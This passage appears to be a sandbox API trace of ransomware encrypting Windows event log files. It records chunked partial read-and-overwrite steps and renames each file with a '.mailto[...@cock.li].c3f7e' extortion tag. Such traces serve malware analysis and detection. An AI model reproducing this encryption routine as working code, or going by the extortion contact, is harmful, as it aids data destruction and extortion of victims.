	[0084.649] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11dbfe4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768458
	[0084.649] NtSetInformationFile (FileHandle=0x8c4, IoStatusBlock=0x11dbfe44, FileInformation=0x4768458, Length=0xe0, FileInformationClass=0xa) returned 0x0
	[0087.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768458) returned 1
	[0087.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44a60) returned 1
	[0087.788] NtQueryInformationFile (in: FileHandle=0x8c4, IoStatusBlock=0x11dbfe58, FileInformation=0x11dbfe30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11dbfe58, FileInformation=0x11dbfe30) returned 0x0
	[0087.788] NtSetInformationFile (FileHandle=0x8c4, IoStatusBlock=0x11dbfe58, FileInformation=0x11dbfe30, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c2a8) returned 1
	[0087.799] FlushFileBuffers (hFile=0x8c4) returned 1
	[0092.917] CloseHandle (hObject=0x8c4) 

Thread:
	id = 443
	os_tid = 0x1614

	[0076.975] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0080.457] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x988
	[0080.457] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x11e3fad4 | out: lpFileSize=0x11e3fad4*=69632) returned 1
	[0080.457] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.457] ReadFile (in: hFile=0x988, lpBuffer=0x11e3fa58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11e3fa54, lpOverlapped=0x0 | out: lpBuffer=0x11e3fa58*, lpNumberOfBytesRead=0x11e3fa54*=0x4, lpOverlapped=0x0) returned 1
	[0080.650] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0080.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0080.650] NtQuerySystemTime (in: CurrentTime=0x11e3fa34 | out: CurrentTime=0x11e3fa34*=132251868073900616) returned 0x0
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x33f8f3f9
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xc66d8e8e
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xfa3d3960
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xa245a875
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xc82cada2
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x9547d1b6
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x1ce50550
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x8e05d41e
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xee9c0f96
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x52bd3a54
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xda9c75cf
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x9b7df85c
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xbd855c27
	[0080.650] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xeef0792d
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x571e2f4d
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xe5be9204
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xf1f585e1
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x52a8a8d7
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x44c21626
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xa4ac3f92
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x5f682469
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x7ae64951
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x530d81e7
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xf4687ddb
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x32832ca8
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xdf7a7696
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x76fb9b9e
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xe635c6c2
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x8a7b874
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x8a0b1421
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0xeecdf93f
	[0080.651] RtlRandom (in: Seed=0x11e3fa40 | out: Seed=0x11e3fa40) returned 0x5505ae74
	[0080.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0080.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345f0
	[0080.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0080.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e7f090
	[0080.662] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.662] ReadFile (in: hFile=0x988, lpBuffer=0x4e7f090, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11e3fa14, lpOverlapped=0x0 | out: lpBuffer=0x4e7f090*, lpNumberOfBytesRead=0x11e3fa14*=0xc800, lpOverlapped=0x0) returned 1
	[0081.038] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.038] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48fa0
	[0081.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.042] WriteFile (in: hFile=0x988, lpBuffer=0x4f48fa0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11e3fa14, lpOverlapped=0x0 | out: lpBuffer=0x4f48fa0*, lpNumberOfBytesWritten=0x11e3fa14*=0xc800, lpOverlapped=0x0) returned 1
	[0081.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48fa0) returned 1
	[0081.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e7f090) returned 1
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ed3e0
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ed530
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cf8
	[0081.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0081.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x149) returned 0x2d86460
	[0081.195] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.195] WriteFile (in: hFile=0x988, lpBuffer=0x2d86460*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x11e3fa94, lpOverlapped=0x0 | out: lpBuffer=0x2d86460*, lpNumberOfBytesWritten=0x11e3fa94*=0x149, lpOverlapped=0x0) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86460) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed530) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cf8) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed3e0) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0081.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0081.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddaec0
	[0081.287] wcscpy (in: _Dest=0x2ddaec0, _Source="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx"
	[0081.287] wcscat (in: _Dest=0x2ddaec0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.287] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11e3fa4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7ea28
	[0081.287] NtSetInformationFile (FileHandle=0x988, IoStatusBlock=0x11e3fa44, FileInformation=0x2d7ea28, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ea28) returned 1
	[0087.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ada8) returned 1
	[0087.752] NtQueryInformationFile (in: FileHandle=0x988, IoStatusBlock=0x11e3fa58, FileInformation=0x11e3fa30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11e3fa58, FileInformation=0x11e3fa30) returned 0x0
	[0087.752] NtSetInformationFile (FileHandle=0x988, IoStatusBlock=0x11e3fa58, FileInformation=0x11e3fa30, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddaec0) returned 1
	[0087.755] FlushFileBuffers (hFile=0x988) returned 1
	[0092.852] CloseHandle (hObject=0x988) 

Thread:
	id = 444
	os_tid = 0x1618

	[0076.976] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0080.464] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x998
	[0080.464] GetFileSizeEx (in: hFile=0x998, lpFileSize=0x11ebf9c4 | out: lpFileSize=0x11ebf9c4*=1052672) returned 1
	[0080.464] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.464] ReadFile (in: hFile=0x998, lpBuffer=0x11ebf948, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11ebf944, lpOverlapped=0x0 | out: lpBuffer=0x11ebf948*, lpNumberOfBytesRead=0x11ebf944*=0x4, lpOverlapped=0x0) returned 1
	[0080.721] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343c0
	[0080.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.721] NtQuerySystemTime (in: CurrentTime=0x11ebf924 | out: CurrentTime=0x11ebf924*=132251868074525570) returned 0x0
	[0080.721] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x41f53d5c
	[0080.721] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xc80dc011
	[0080.721] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x135fea27
	[0080.721] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xd2ae5f6d
	[0080.721] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xd9580900
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x58e318fd
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x3cd6395
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x3ed54b88
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x5dee10a
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x45023be4
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xbd4c56ff
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x5093669b
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xb44cc58b
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x79a4f643
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xf06fd728
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x7d9b3cc9
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x61a0aa87
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xbf08ee6
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x49e69e04
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xfceefaaf
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x4ee15eb5
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xacd24c3d
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x19e0fab2
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0xc3495679
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x6aef4c70
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x2f1981f6
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x8c3cadb7
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x6bf3b6c0
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x2422074a
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x7ab35ecc
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x10fcf5ba
	[0080.722] RtlRandom (in: Seed=0x11ebf930 | out: Seed=0x11ebf930) returned 0x4f786bc5
	[0080.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34320
	[0080.731] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.731] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340f0
	[0080.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0080.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4897008
	[0080.734] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.734] ReadFile (in: hFile=0x998, lpBuffer=0x4897008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11ebf8dc, lpOverlapped=0x0 | out: lpBuffer=0x4897008*, lpNumberOfBytesRead=0x11ebf8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0081.052] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f557a8
	[0081.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a78
	[0081.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.057] WriteFile (in: hFile=0x998, lpBuffer=0x4f557a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11ebf8dc, lpOverlapped=0x0 | out: lpBuffer=0x4f557a8*, lpNumberOfBytesWritten=0x11ebf8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0084.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f557a8) returned 1
	[0084.671] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.671] ReadFile (in: hFile=0x998, lpBuffer=0x4897008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11ebf8dc, lpOverlapped=0x0 | out: lpBuffer=0x4897008*, lpNumberOfBytesRead=0x11ebf8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0084.672] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0084.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0084.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0084.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0084.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4702078
	[0084.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0084.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0084.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0084.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0084.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0084.675] WriteFile (in: hFile=0x998, lpBuffer=0x4702078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11ebf8dc, lpOverlapped=0x0 | out: lpBuffer=0x4702078*, lpNumberOfBytesWritten=0x11ebf8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0084.678] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4702078) returned 1
	[0084.678] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.678] ReadFile (in: hFile=0x998, lpBuffer=0x4897008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11ebf8dc, lpOverlapped=0x0 | out: lpBuffer=0x4897008*, lpNumberOfBytesRead=0x11ebf8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0084.680] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0084.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0084.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34690
	[0084.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34690) returned 1
	[0084.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4702078
	[0084.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0084.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.683] WriteFile (in: hFile=0x998, lpBuffer=0x4702078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11ebf8dc, lpOverlapped=0x0 | out: lpBuffer=0x4702078*, lpNumberOfBytesWritten=0x11ebf8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4702078) returned 1
	[0084.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733ba8
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a78) returned 1
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897008) returned 1
	[0084.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e044c8
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0084.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e04540
